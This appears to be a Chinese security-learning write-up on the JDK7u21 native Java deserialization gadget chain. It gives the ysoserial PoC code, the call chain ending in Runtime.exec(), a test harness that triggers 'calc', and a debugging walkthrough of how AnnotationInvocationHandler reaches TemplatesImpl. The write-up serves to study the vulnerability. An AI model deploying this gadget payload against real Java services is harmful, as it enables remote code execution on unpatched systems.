前言 前面的cc链都是第三方组件的利用链,现在学习下JDK7u21的原生反序列化链。
影响版本 JDK7u21这个版本以及之前时间发布的所有Java版本都有问题。
利用链分析 引入javassist
,下面用到javassist
就是为了方便生成恶意类的字节码,而且版本要低一些,高版本不兼容jdk7,只能用jdk8及其更高版本。
1 2 3 4 5 6 7 8 9 10 11 12 13 <properties> <maven.compiler.source>7 </maven.compiler.source> <maven.compiler.target>7 </maven.compiler.target> </properties> <dependencies> <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.20 .0 -GA</version> </dependency> </dependencies>
7u21这条链核心就在于AnnotationInvocationHandler
这个类。联想到CC1的时候第一次接触它,这个类有两种利用思路,一种是利用它的readObject()
,另一种就是利用它的invoke()
,因为AnnotationInvocationHandler
是一个实现了InvocationHandler
接口的类,可以应用于动态代理中。
看下yso中给出的调用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0 ) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.getOutputProperties() TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
看下yso中的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap (); map.put(zeroHashCodeStr, "foo" ); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); Reflections.setFieldValue(tempHandler, "type" , Templates.class); Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); LinkedHashSet set = new LinkedHashSet (); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses" , null ); Reflections.setFieldValue(templates, "_class" , null ); map.put(zeroHashCodeStr, templates); return set; }
首先是
1 final Object templates = Gadgets.createTemplatesImpl(command);
进到方法中
最后调用了它的重载方法,方法中,首先对传入的TemplatesImpl
进行了实例化,然后用javassist
动态创建了一个恶意类
最后这段代码使用了Reflections.setFieldValue
把templates
里面的_bytecodes
设置为前面动态创建的类的字节码。
setFieldValue()
是通过反射去实现的
继续往下看
查看一下Reflections.getFirstCtor
方法,内部就是使用反射创建一个无参构造的对象
传递的name就是AnnotationInvocationHandler
Reflections.getFirstCtor
方法返回AnnotationInvocationHandler
对象,然后调用newInstance
实例化该对象,传入构造方法中的参数是Override.class
和map
,这个在cc链学习的时候页接触到过这种传参方式。
下面这段代码和之前一样通过反射将tempHandler
里面的type
的变量改成Templates.class
1 Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
再来看到下一段代码,跟进一下Gadgets.createProxy
方法,主要就最后一行,使用了Templates
去做动态代理
等价于下面的代码
1 2 3 4 5 6 7 8 Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,lazyMap); Templates templates=(Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(),Templates.class.getInterfaces(),invocationHandler); Object object=constructor.newInstance(Override.class,templates);
接着往下看
实例化一个LinkedHashSet
对象,并将templates
和proxy
添加进去。
调试分析 先编写一个测试类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package ysoserial;import ysoserial.payloads.Jdk7u21;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test { public static void main (String[] args) throws Exception { Object calc = new Jdk7u21 ().getObject("calc" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (new FileOutputStream ("test.ser" )); objectOutputStream.writeObject(calc); System.out.println("序列化输出----" ); ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream ("test.ser" )); Object o = objectInputStream.readObject(); } }
成功触发
接下来分析下该利用链的具体调用过程,根据yso返回的是LinkedHashSet
实例化对象,所以反序列化时先会调用LinkedHashSet#readObject()
方法。
可以看到并没有readObject()
方法
查看下父类,发现继承了HashSet
那么会调用HashSet#readObject()
方法,在里面打个断点,这里调用了map.put()
方法,跟进一下
发现调用的是HashMap#put()
方法,这里有个for循环,因为table数组是空的所以并不会进入循环中,下面会调用addEntry
,将这几个值添加进去,hash的值为hash方法处理TemplatesImpl
的值,key为TemplatesImpl
的实例对象,value则是一个空的Object对象,i参数为indexFor
方法处理hash后的结果。
返回之后,继续调用put方法
此时table中有了值,所以进入for循环
这里的key为代理类,代理类执行方法时,会触发AnnotationInvocationHandler
的invoke
方法执行
这里通过if判断后,会调用equalsImpl()
方法
进入方法中,可以看到这里会通过反射调用 var1
对象的 var5
方法,此时var1
为TemplatesImpl
,var5
是名为newTransformer
的Method
对象
那么这里是怎么获取var5的呢,可以看到上面通过getMemberMethods()
方法拿到Method类类型的数组,跟进这个方法看一下。通过反射拿到this.type对象的方法,这里的type为templates
对象
这里返回了两个方法
然后拿到这两个方法之后,就会进入for循环,通过var8 = var5.invoke(var1);
分别通过反射调用这两个方法,var1就是TemplatesImpl
的实例对象。也就是说会调用TemplatesImpl#getOutputProperties()
方法,后面的调用步骤和走之前CC链利用TemplatesImpl
构造恶意类的调用时一样的。
往下就是之前TemplatesImpl
的调用链了,getOutputProperties
方法会去调用newTransformer
方法,newTransformer
又会去调用getTransletInstance
方法。
参考 https://www.cnblogs.com/nice0e3/p/14026849.html